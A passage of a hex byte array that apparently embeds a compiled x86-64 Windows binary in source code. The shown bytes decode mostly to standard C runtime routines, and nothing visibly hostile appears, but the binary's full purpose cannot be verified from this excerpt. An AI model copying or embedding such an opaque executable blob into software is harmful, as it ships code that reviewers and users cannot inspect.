0x49, 0x01, 0x00, 0x48, 0x8d, 0x05, 0xda, 0x2f, 0x01, 0x00, 0x48, 0x8d, + 0x0d, 0x03, 0x32, 0x01, 0x00, 0x48, 0x89, 0x05, 0x44, 0x49, 0x01, 0x00, + 0x48, 0x89, 0x0d, 0x2d, 0x49, 0x01, 0x00, 0xe8, 0x84, 0xc5, 0xff, 0xff, + 0x4c, 0x8d, 0x0d, 0x31, 0x49, 0x01, 0x00, 0x4c, 0x8b, 0xc0, 0xb2, 0x01, + 0xb9, 0xfd, 0xff, 0xff, 0xff, 0xe8, 0x36, 0xfd, 0xff, 0xff, 0xc6, 0x05, + 0x27, 0x49, 0x01, 0x00, 0x01, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, + 0x48, 0x83, 0xec, 0x28, 0xe8, 0x83, 0xc4, 0xff, 0xff, 0x48, 0x8b, 0xc8, + 0x48, 0x8d, 0x15, 0x01, 0x49, 0x01, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xe9, + 0xcc, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x55, 0x56, 0x57, + 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x40, + 0x48, 0x8b, 0x05, 0x8d, 0x2c, 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, + 0x44, 0x24, 0x38, 0x48, 0x8b, 0xf2, 0xe8, 0xed, 0xf9, 0xff, 0xff, 0x33, + 0xdb, 0x8b, 0xf8, 0x85, 0xc0, 0x0f, 0x84, 0x53, 0x02, 0x00, 0x00, 0x4c, + 0x8d, 0x2d, 0x92, 0x33, 0x01, 0x00, 0x44, 0x8b, 0xf3, 0x49, 0x8b, 0xc5, + 0x8d, 0x6b, 0x01, 0x39, 0x38, 0x0f, 0x84, 0x4e, 0x01, 0x00, 0x00, 0x44, + 0x03, 0xf5, 0x48, 0x83, 0xc0, 0x30, 0x41, 0x83, 0xfe, 0x05, 0x72, 0xeb, + 0x81, 0xff, 0xe8, 0xfd, 0x00, 0x00, 0x0f, 0x84, 0x2d, 0x01, 0x00, 0x00, + 0x0f, 0xb7, 0xcf, 0xff, 0x15, 0x47, 0x7e, 0x00, 0x00, 0x85, 0xc0, 0x0f, + 0x84, 0x1c, 0x01, 0x00, 0x00, 0xb8, 0xe9, 0xfd, 0x00, 0x00, 0x3b, 0xf8, + 0x75, 0x2e, 0x48, 0x89, 0x46, 0x04, 0x48, 0x89, 0x9e, 0x20, 0x02, 0x00, + 0x00, 0x89, 0x5e, 0x18, 0x66, 0x89, 0x5e, 0x1c, 0x48, 0x8d, 0x7e, 0x0c, + 0x0f, 0xb7, 0xc3, 0xb9, 0x06, 0x00, 0x00, 0x00, 0x66, 0xf3, 0xab, 0x48, + 0x8b, 0xce, 0xe8, 0x7d, 0xfa, 0xff, 0xff, 0xe9, 0xe2, 0x01, 0x00, 0x00, + 0x48, 0x8d, 0x54, 0x24, 0x20, 0x8b, 0xcf, 0xff, 0x15, 0x13, 0x7e, 0x00, + 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xc4, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, + 0x8d, 0x4e, 0x18, 0x41, 0xb8, 0x01, 0x01, 0x00, 0x00, 0xe8, 0x7a, 0x86, + 0xff, 0xff, 0x83, 0x7c, 0x24, 0x20, 0x02, 0x89, 0x7e, 0x04, 0x48, 0x89, + 0x9e, 0x20, 0x02, 0x00, 0x00, 0x0f, 0x85, 0x94, 0x00, 0x00, 0x00, 0x48, + 0x8d, 0x4c, 0x24, 0x26, 0x38, 0x5c, 0x24, 0x26, 0x74, 0x2c, 0x38, 0x59, + 0x01, 0x74, 0x27, 0x0f, 0xb6, 0x41, 0x01, 0x0f, 0xb6, 0x11, 0x3b, 0xd0, + 0x77, 0x14, 0x2b, 0xc2, 0x8d, 0x7a, 0x01, 0x8d, 0x14, 0x28, 0x80, 0x4c, + 0x37, 0x18, 0x04, 0x03, 0xfd, 0x48, 0x2b, 0xd5, 0x75, 0xf4, 0x48, 0x83, + 0xc1, 0x02, 0x38, 0x19, 0x75, 0xd4, 0x48, 0x8d, 0x46, 0x1a, 0xb9, 0xfe, + 0x00, 0x00, 0x00, 0x80, 0x08, 0x08, 0x48, 0x03, 0xc5, 0x48, 0x2b, 0xcd, + 0x75, 0xf5, 0x8b, 0x4e, 0x04, 0x81, 0xe9, 0xa4, 0x03, 0x00, 0x00, 0x74, + 0x2e, 0x83, 0xe9, 0x04, 0x74, 0x20, 0x83, 0xe9, 0x0d, 0x74, 0x12, 0x3b, + 0xcd, 0x74, 0x05, 0x48, 0x8b, 0xc3, 0xeb, 0x22, 0x48, 0x8b, 0x05, 0xcd, + 0xa8, 0x00, 0x00, 0xeb, 0x19, 0x48, 0x8b, 0x05, 0xbc, 0xa8, 0x00, 0x00, + 0xeb, 0x10, 0x48, 0x8b, 0x05, 0xab, 0xa8, 0x00, 0x00, 0xeb, 0x07, 0x48, + 0x8b, 0x05, 0x9a, 0xa8, 0x00, 0x00, 0x48, 0x89, 0x86, 0x20, 0x02, 0x00, + 0x00, 0xeb, 0x02, 0x8b, 0xeb, 0x89, 0x6e, 0x08, 0xe9, 0x0b, 0xff, 0xff, + 0xff, 0x39, 0x1d, 0x71, 0x47, 0x01, 0x00, 0x0f, 0x85, 0xf5, 0x00, 0x00, + 0x00, 0x83, 0xc8, 0xff, 0xe9, 0xf7, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, + 0x8d, 0x4e, 0x18, 0x41, 0xb8, 0x01, 0x01, 0x00, 0x00, 0xe8, 0xa2, 0x85, + 0xff, 0xff, 0x41, 0x8b, 0xc6, 0x4d, 0x8d, 0x4d, 0x10, 0x4c, 0x8d, 0x3d, + 0x04, 0x32, 0x01, 0x00, 0x41, 0xbe, 0x04, 0x00, 0x00, 0x00, 0x4c, 0x8d, + 0x1c, 0x40, 0x49, 0xc1, 0xe3, 0x04, 0x4d, 0x03, 0xcb, 0x49, 0x8b, 0xd1, + 0x41, 0x38, 0x19, 0x74, 0x3e, 0x38, 0x5a, 0x01, 0x74, 0x39, 0x44, 0x0f, + 0xb6, 0x02, 0x0f, 0xb6, 0x42, 0x01, 0x44, 0x3b, 0xc0, 0x77, 0x24, 0x45, + 0x8d, 0x50, 0x01, 0x41, 0x81, 0xfa, 0x01, 0x01, 0x00, 0x00, 0x73, 0x17, + 0x41, 0x8a, 0x07, 0x44, 0x03, 0xc5, 0x41, 0x08, 0x44, 0x32, 0x18, 0x44, + 0x03, 0xd5, 0x0f, 0xb6, 0x42, 0x01, 0x44, 0x3b, 0xc0, 0x76, 0xe0, 0x48, + 0x83, 0xc2, 0x02, 0x38, 0x1a, 0x75, 0xc2, 0x49, 0x83, 0xc1, 0x08, 0x4c, + 0x03, 0xfd, 0x4c, 0x2b, 0xf5, 0x75, 0xae, 0x89, 0x7e, 0x04, 0x89, 0x6e, + 0x08, 0x81, 0xef, 0xa4, 0x03, 0x00, 0x00, 0x74, 0x29, 0x83, 0xef, 0x04, + 0x74, 0x1b, 0x83, 0xef, 0x0d, 0x74, 0x0d, 0x3b, 0xfd, 0x75, 0x22, 0x48, + 0x8b, 0x1d, 0xe6, 0xa7, 0x00, 0x00, 0xeb, 0x19, 0x48, 0x8b, 0x1d, 0xd5, + 0xa7, 0x00, 0x00, 0xeb, 0x10, 0x48, 0x8b, 0x1d, 0xc4, 0xa7, 0x00, 0x00, + 0xeb, 0x07, 0x48, 0x8b, 0x1d, 0xb3, 0xa7, 0x00, 0x00, 0x4c, 0x2b, 0xde, + 0x48, 0x89, 0x9e, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x56, 0x0c, 0xb9, + 0x06, 0x00, 0x00, 0x00, 0x4b, 0x8d, 0x3c, 0x2b, 0x0f, 0xb7, 0x44, 0x17, + 0xf8, 0x66, 0x89, 0x02, 0x48, 0x8d, 0x52, 0x02, 0x48, 0x2b, 0xcd, 0x75, + 0xef, 0xe9, 0x19, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xce, 0xe8, 0x06, 0xf8, + 0xff, 0xff, 0x33, 0xc0, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x48, 0x33, 0xcc, + 0xe8, 0x7f, 0x73, 0xff, 0xff, 0x48, 0x8b, 0x9c, 0x24, 0x90, 0x00, 0x00, + 0x00, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, + 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x40, 0x8b, + 0xda, 0x41, 0x8b, 0xf9, 0x48, 0x8b, 0xd1, 0x41, 0x8b, 0xf0, 0x48, 0x8d, + 0x4c, 0x24, 0x20, 0xe8, 0xf8, 0x98, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, + 0x30, 0x0f, 0xb6, 0xd3, 0x40, 0x84, 0x7c, 0x02, 0x19, 0x75, 0x1a, 0x85, + 0xf6, 0x74, 0x10, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x08, 0x0f, + 0xb7, 0x04, 0x51, 0x23, 0xc6, 0xeb, 0x02, 0x33, 0xc0, 0x85, 0xc0, 0x74, + 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, + 0x0c, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, + 0xfd, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x74, 0x24, 0x58, 0x48, + 0x83, 0xc4, 0x40, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x8b, 0xd1, 0x41, 0xb9, + 0x04, 0x00, 0x00, 0x00, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0xe9, 0x76, 0xff, + 0xff, 0xff, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0xff, 0x15, 0x86, 0x7b, + 0x00, 0x00, 0x48, 0x89, 0x05, 0xcf, 0x45, 0x01, 0x00, 0xff, 0x15, 0x81, + 0x7b, 0x00, 0x00, 0x48, 0x89, 0x05, 0xca, 0x45, 0x01, 0x00, 0xb0, 0x01, + 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0x81, 0xf9, 0x35, 0xc4, + 0x00, 0x00, 0x77, 0x20, 0x8d, 0x81, 0xd4, 0x3b, 0xff, 0xff, 0x83, 0xf8, + 0x09, 0x77, 0x0c, 0x41, 0xba, 0xa7, 0x02, 0x00, 0x00, 0x41, 0x0f, 0xa3, + 0xc2, 0x72, 0x05, 0x83, 0xf9, 0x2a, 0x75, 0x2f, 0x33, 0xd2, 0xeb, 0x2b, + 0x81, 0xf9, 0x98, 0xd6, 0x00, 0x00, 0x74, 0x20, 0x81, 0xf9, 0xa9, 0xde, + 0x00, 0x00, 0x76, 0x1b, 0x81, 0xf9, 0xb3, 0xde, 0x00, 0x00, 0x76, 0xe4, + 0x81, 0xf9, 0xe8, 0xfd, 0x00, 0x00, 0x74, 0xdc, 0x81, 0xf9, 0xe9, 0xfd, + 0x00, 0x00, 0x75, 0x03, 0x83, 0xe2, 0x08, 0x48, 0xff, 0x25, 0x1e, 0x7b, + 0x00, 0x00, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x8d, 0x81, + 0x18, 0x02, 0xff, 0xff, 0x45, 0x8b, 0xd9, 0x83, 0xf8, 0x01, 0x49, 0x8b, + 0xd8, 0x41, 0x0f, 0x96, 0xc2, 0x33, 0xff, 0x81, 0xf9, 0x35, 0xc4, 0x00, + 0x00, 0x77, 0x1c, 0x8d, 0x81, 0xd4, 0x3b, 0xff, 0xff, 0x83, 0xf8, 0x09, + 0x77, 0x0c, 0x41, 0xb8, 0xa7, 0x02, 0x00, 0x00, 0x41, 0x0f, 0xa3, 0xc0, + 0x72, 0x33, 0x83, 0xf9, 0x2a, 0xeb, 0x26, 0x81, 0xf9, 0x98, 0xd6, 0x00, + 0x00, 0x74, 0x26, 0x81, 0xf9, 0xa9, 0xde, 0x00, 0x00, 0x76, 0x18, 0x81, + 0xf9, 0xb3, 0xde, 0x00, 0x00, 0x76, 0x16, 0x81, 0xf9, 0xe8, 0xfd, 0x00, + 0x00, 0x74, 0x0e, 0x81, 0xf9, 0xe9, 0xfd, 0x00, 0x00, 0x74, 0x06, 0x0f, + 0xba, 0xf2, 0x07, 0xeb, 0x02, 0x8b, 0xd7, 0x48, 0x8b, 0x44, 0x24, 0x48, + 0x45, 0x84, 0xd2, 0x4c, 0x8b, 0x4c, 0x24, 0x40, 0x4c, 0x8b, 0xc0, 0x4c, + 0x0f, 0x45, 0xc7, 0x4c, 0x0f, 0x45, 0xcf, 0x74, 0x07, 0x48, 0x85, 0xc0, + 0x74, 0x02, 0x89, 0x38, 0x4c, 0x89, 0x44, 0x24, 0x48, 0x4c, 0x8b, 0xc3, + 0x4c, 0x89, 0x4c, 0x24, 0x40, 0x45, 0x8b, 0xcb, 0x48, 0x8b, 0x5c, 0x24, + 0x10, 0x5f, 0x48, 0xff, 0x25, 0x77, 0x7a, 0x00, 0x00, 0xcc, 0xcc, 0xcc, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, + 0x40, 0xff, 0x15, 0x5d, 0x7a, 0x00, 0x00, 0x45, 0x33, 0xf6, 0x48, 0x8b, + 0xd8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xa4, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0xf0, 0x66, 0x44, 0x39, 0x30, 0x74, 0x1c, 0x48, 0x83, 0xc8, 0xff, 0x48, + 0xff, 0xc0, 0x66, 0x44, 0x39, 0x34, 0x46, 0x75, 0xf6, 0x48, 0x8d, 0x34, + 0x46, 0x48, 0x83, 0xc6, 0x02, 0x66, 0x44, 0x39, 0x36, 0x75, 0xe4, 0x4c, + 0x89, 0x74, 0x24, 0x38, 0x48, 0x2b, 0xf3, 0x4c, 0x89, 0x74, 0x24, 0x30, + 0x48, 0x83, 0xc6, 0x02, 0x48, 0xd1, 0xfe, 0x4c, 0x8b, 0xc3, 0x44, 0x8b, + 0xce, 0x44, 0x89, 0x74, 0x24, 0x28, 0x33, 0xd2, 0x4c, 0x89, 0x74, 0x24, + 0x20, 0x33, 0xc9, 0xe8, 0xd0, 0xfe, 0xff, 0xff, 0x48, 0x63, 0xe8, 0x85, + 0xc0, 0x74, 0x4b, 0x48, 0x8b, 0xcd, 0xe8, 0xa1, 0xc5, 0xff, 0xff, 0x48, + 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x2e, 0x4c, 0x89, 0x74, 0x24, 0x38, + 0x44, 0x8b, 0xce, 0x4c, 0x89, 0x74, 0x24, 0x30, 0x4c, 0x8b, 0xc3, 0x89, + 0x6c, 0x24, 0x28, 0x33, 0xd2, 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x20, + 0xe8, 0x97, 0xfe, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x8b, 0xf7, + 0x49, 0x8b, 0xfe, 0xeb, 0x03, 0x49, 0x8b, 0xf6, 0x48, 0x8b, 0xcf, 0xe8, + 0x20, 0xc5, 0xff, 0xff, 0xeb, 0x03, 0x49, 0x8b, 0xf6, 0x48, 0x85, 0xdb, + 0x74, 0x09, 0x48, 0x8b, 0xcb, 0xff, 0x15, 0xa1, 0x79, 0x00, 0x00, 0x48, + 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0xc6, 0x48, 0x8b, 0x74, 0x24, 0x60, + 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x48, 0x8b, 0x7c, 0x24, 0x68, 0x48, 0x83, + 0xc4, 0x40, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xda, 0x48, 0x8b, + 0xf1, 0x48, 0x85, 0xd2, 0x74, 0x1d, 0x33, 0xd2, 0x48, 0x8d, 0x42, 0xe0, + 0x48, 0xf7, 0xf3, 0x49, 0x3b, 0xc0, 0x73, 0x0f, 0xe8, 0x97, 0xc4, 0xff, + 0xff, 0xc7, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xeb, 0x41, 0x48, + 0x85, 0xf6, 0x74, 0x0a, 0xe8, 0xc3, 0x3d, 0x00, 0x00, 0x48, 0x8b, 0xf8, + 0xeb, 0x02, 0x33, 0xff, 0x48, 0x0f, 0xaf, 0xdd, 0x48, 0x8b, 0xce, 0x48, + 0x8b, 0xd3, 0xe8, 0xe9, 0x3d, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, + 0xc0, 0x74, 0x16, 0x48, 0x3b, 0xfb, 0x73, 0x11, 0x48, 0x2b, 0xdf, 0x48, + 0x8d, 0x0c, 0x38, 0x4c, 0x8b, 0xc3, 0x33, 0xd2, 0xe8, 0x53, 0x81, 0xff, + 0xff, 0x48, 0x8b, 0xc6, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, + 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, 0x5f, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0xff, 0x15, 0x3e, 0x77, + 0x00, 0x00, 0x48, 0x85, 0xc0, 0x48, 0x89, 0x05, 0x0c, 0x43, 0x01, 0x00, + 0x0f, 0x95, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0x25, 0xfc, + 0x42, 0x01, 0x00, 0x00, 0xb0, 0x01, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, + 0x8b, 0xf2, 0x48, 0x8b, 0xf9, 0x48, 0x3b, 0xca, 0x74, 0x54, 0x48, 0x8b, + 0xd9, 0x48, 0x8b, 0x03, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0xff, 0x15, 0x3d, + 0x79, 0x00, 0x00, 0x84, 0xc0, 0x74, 0x09, 0x48, 0x83, 0xc3, 0x10, 0x48, + 0x3b, 0xde, 0x75, 0xe5, 0x48, 0x3b, 0xde, 0x74, 0x31, 0x48, 0x3b, 0xdf, + 0x74, 0x28, 0x48, 0x83, 0xc3, 0xf8, 0x48, 0x83, 0x7b, 0xf8, 0x00, 0x74, + 0x10, 0x48, 0x8b, 0x03, 0x48, 0x85, 0xc0, 0x74, 0x08, 0x33, 0xc9, 0xff, + 0x15, 0x0b, 0x79, 0x00, 0x00, 0x48, 0x83, 0xeb, 0x10, 0x48, 0x8d, 0x43, + 0x08, 0x48, 0x3b, 0xc7, 0x75, 0xdc, 0x32, 0xc0, 0xeb, 0x02, 0xb0, 0x01, + 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, + 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x3b, 0xca, 0x74, + 0x1a, 0x48, 0x8b, 0x43, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x08, 0x33, 0xc9, + 0xff, 0x15, 0xc2, 0x78, 0x00, 0x00, 0x48, 0x83, 0xeb, 0x10, 0x48, 0x3b, + 0xdf, 0x75, 0xe6, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0xb0, 0x01, 0x48, 0x83, + 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x0d, 0x3d, 0x42, 0x01, 0x00, 0xc3, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0xe8, 0x22, 0x00, + 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x14, 0x48, 0x8b, 0xcb, 0xff, 0x15, + 0x88, 0x78, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x07, 0xb8, 0x01, 0x00, 0x00, + 0x00, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x33, 0xc9, 0xe8, 0xff, 0xe3, 0xff, + 0xff, 0x90, 0x48, 0x8b, 0x1d, 0x5f, 0x25, 0x01, 0x00, 0x8b, 0xcb, 0x83, + 0xe1, 0x3f, 0x48, 0x33, 0x1d, 0xeb, 0x41, 0x01, 0x00, 0x48, 0xd3, 0xcb, + 0x33, 0xc9, 0xe8, 0x35, 0xe4, 0xff, 0xff, 0x48, 0x8b, 0xc3, 0x48, 0x83, + 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, + 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf9, 0x8b, 0x0a, + 0xe8, 0xbf, 0xe3, 0xff, 0xff, 0x90, 0x48, 0x8b, 0x1d, 0x1f, 0x25, 0x01, + 0x00, 0x8b, 0xcb, 0x83, 0xe1, 0x3f, 0x48, 0x33, 0x1d, 0xc3, 0x41, 0x01, + 0x00, 0x48, 0xd3, 0xcb, 0x8b, 0x0f, 0xe8, 0xf5, 0xe3, 0xff, 0xff, 0x48, + 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, + 0xc3, 0xcc, 0xcc, 0xcc, 0x4c, 0x8b, 0xdc, 0x48, 0x83, 0xec, 0x28, 0xb8, + 0x03, 0x00, 0x00, 0x00, 0x4d, 0x8d, 0x4b, 0x10, 0x4d, 0x8d, 0x43, 0x08, + 0x89, 0x44, 0x24, 0x38, 0x49, 0x8d, 0x53, 0x18, 0x89, 0x44, 0x24, 0x40, + 0x49, 0x8d, 0x4b, 0x08, 0xe8, 0x8f, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, + 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x0d, 0x61, 0x41, 0x01, 0x00, 0x48, + 0x89, 0x0d, 0x62, 0x41, 0x01, 0x00, 0x48, 0x89, 0x0d, 0x63, 0x41, 0x01, + 0x00, 0x48, 0x89, 0x0d, 0x64, 0x41, 0x01, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x20, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, + 0x56, 0x48, 0x83, 0xec, 0x40, 0x8b, 0xd9, 0x45, 0x33, 0xed, 0x44, 0x21, + 0x6c, 0x24, 0x78, 0x41, 0xb6, 0x01, 0x44, 0x88, 0x74, 0x24, 0x70, 0x83, + 0xf9, 0x02, 0x74, 0x21, 0x83, 0xf9, 0x04, 0x74, 0x4c, 0x83, 0xf9, 0x06, + 0x74, 0x17, 0x83, 0xf9, 0x08, 0x74, 0x42, 0x83, 0xf9, 0x0b, 0x74, 0x3d, + 0x83, 0xf9, 0x0f, 0x74, 0x08, 0x8d, 0x41, 0xeb, 0x83, 0xf8, 0x01, 0x77, + 0x7d, 0x83, 0xe9, 0x02, 0x0f, 0x84, 0xaf, 0x00, 0x00, 0x00, 0x83, 0xe9, + 0x04, 0x0f, 0x84, 0x8b, 0x00, 0x00, 0x00, 0x83, 0xe9, 0x09, 0x0f, 0x84, + 0x94, 0x00, 0x00, 0x00, 0x83, 0xe9, 0x06, 0x0f, 0x84, 0x82, 0x00, 0x00, + 0x00, 0x83, 0xf9, 0x01, 0x74, 0x74, 0x33, 0xff, 0xe9, 0x8f, 0x00, 0x00, + 0x00, 0xe8, 0x6e, 0xbd, 0xff, 0xff, 0x4c, 0x8b, 0xe8, 0x48, 0x85, 0xc0, + 0x75, 0x18, 0x83, 0xc8, 0xff, 0x48, 0x8b, 0x9c, 0x24, 0x88, 0x00, 0x00, + 0x00, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, + 0x5e, 0xc3, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x0d, 0xa8, 0x8b, 0x00, 0x00, + 0x48, 0xc1, 0xe1, 0x04, 0x48, 0x03, 0xc8, 0xeb, 0x09, 0x39, 0x58, 0x04, + 0x74, 0x0b, 0x48, 0x83, 0xc0, 0x10, 0x48, 0x3b, 0xc1, 0x75, 0xf2, 0x33, + 0xc0, 0x48, 0x85, 0xc0, 0x75, 0x12, 0xe8, 0x81, 0xc1, 0xff, 0xff, 0xc7, + 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, 0x56, 0xc0, 0xff, 0xff, 0xeb, 0xae, + 0x48, 0x8d, 0x78, 0x08, 0x45, 0x32, 0xf6, 0x44, 0x88, 0x74, 0x24, 0x70, + 0xeb, 0x22, 0x48, 0x8d, 0x3d, 0x6b, 0x40, 0x01, 0x00, 0xeb, 0x19, 0x48, + 0x8d, 0x3d, 0x5a, 0x40, 0x01, 0x00, 0xeb, 0x10, 0x48, 0x8d, 0x3d, 0x61, + 0x40, 0x01, 0x00, 0xeb, 0x07, 0x48, 0x8d, 0x3d, 0x40, 0x40, 0x01, 0x00, + 0x48, 0x83, 0xa4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x00, 0x45, 0x84, 0xf6, + 0x74, 0x0b, 0xb9, 0x03, 0x00, 0x00, 0x00, 0xe8, 0x20, 0xe2, 0xff, 0xff, + 0x90, 0x48, 0x8b, 0x37, 0x45, 0x84, 0xf6, 0x74, 0x12, 0x48, 0x8b, 0x05, + 0x78, 0x23, 0x01, 0x00, 0x8b, 0xc8, 0x83, 0xe1, 0x3f, 0x48, 0x33, 0xf0, + 0x48, 0xd3, 0xce, 0x48, 0x83, 0xfe, 0x01, 0x0f, 0x84, 0x94, 0x00, 0x00, + 0x00, 0x48, 0x85, 0xf6, 0x0f, 0x84, 0x03, 0x01, 0x00, 0x00, 0x41, 0xbc, + 0x10, 0x09, 0x00, 0x00, 0x83, 0xfb, 0x0b, 0x77, 0x3d, 0x41, 0x0f, 0xa3, + 0xdc, 0x73, 0x37, 0x49, 0x8b, 0x45, 0x08, 0x48, 0x89, 0x84, 0x24, 0x80, + 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x49, 0x83, 0x65, 0x08, + 0x00, 0x83, 0xfb, 0x08, 0x75, 0x53, 0xe8, 0xf1, 0xba, 0xff, 0xff, 0x8b, + 0x40, 0x10, 0x89, 0x44, 0x24, 0x78, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xe1, + 0xba, 0xff, 0xff, 0xc7, 0x40, 0x10, 0x8c, 0x00, 0x00, 0x00, 0x83, 0xfb, + 0x08, 0x75, 0x32, 0x48, 0x8b, 0x05, 0xb6, 0x8a, 0x00, 0x00, 0x48, 0xc1, + 0xe0, 0x04, 0x49, 0x03, 0x45, 0x00, 0x48, 0x8b, 0x0d, 0xaf, 0x8a, 0x00, + 0x00, 0x48, 0xc1, 0xe1, 0x04, 0x48, 0x03, 0xc8, 0x48, 0x89, 0x44, 0x24, + 0x28, 0x48, 0x3b, 0xc1, 0x74, 0x1d, 0x48, 0x83, 0x60, 0x08, 0x00, 0x48, + 0x83, 0xc0, 0x10, 0xeb, 0xeb, 0x48, 0x8b, 0x05, 0xd4, 0x22, 0x01, 0x00, + 0x48, 0x89, 0x07, 0xeb, 0x06, 0x41, 0xbc, 0x10, 0x09, 0x00, 0x00, 0x45, + 0x84, 0xf6, 0x74, 0x0a, 0xb9, 0x03, 0x00, 0x00, 0x00, 0xe8, 0xa6, 0xe1, + 0xff, 0xff, 0x48, 0x83, 0xfe, 0x01, 0x75, 0x07, 0x33, 0xc0, 0xe9, 0x8e, + 0xfe, 0xff, 0xff, 0x83, 0xfb, 0x08, 0x75, 0x19, 0xe8, 0x6b, 0xba, 0xff, + 0xff, 0x8b, 0x50, 0x10, 0x8b, 0xcb, 0x48, 0x8b, 0xc6, 0x4c, 0x8b, 0x05, + 0x94, 0x75, 0x00, 0x00, 0x41, 0xff, 0xd0, 0xeb, 0x0e, 0x8b, 0xcb, 0x48, + 0x8b, 0xc6, 0x48, 0x8b, 0x15, 0x83, 0x75, 0x00, 0x00, 0xff, 0xd2, 0x83, + 0xfb, 0x0b, 0x77, 0xc8, 0x41, 0x0f, 0xa3, 0xdc, 0x73, 0xc2, 0x48, 0x8b, + 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x49, 0x89, 0x45, 0x08, 0x83, 0xfb, + 0x08, 0x75, 0xb1, 0xe8, 0x28, 0xba, 0xff, 0xff, 0x8b, 0x4c, 0x24, 0x78, + 0x89, 0x48, 0x10, 0xeb, 0xa3, 0x45, 0x84, 0xf6, 0x74, 0x08, 0x8d, 0x4e, + 0x03, 0xe8, 0x36, 0xe1, 0xff, 0xff, 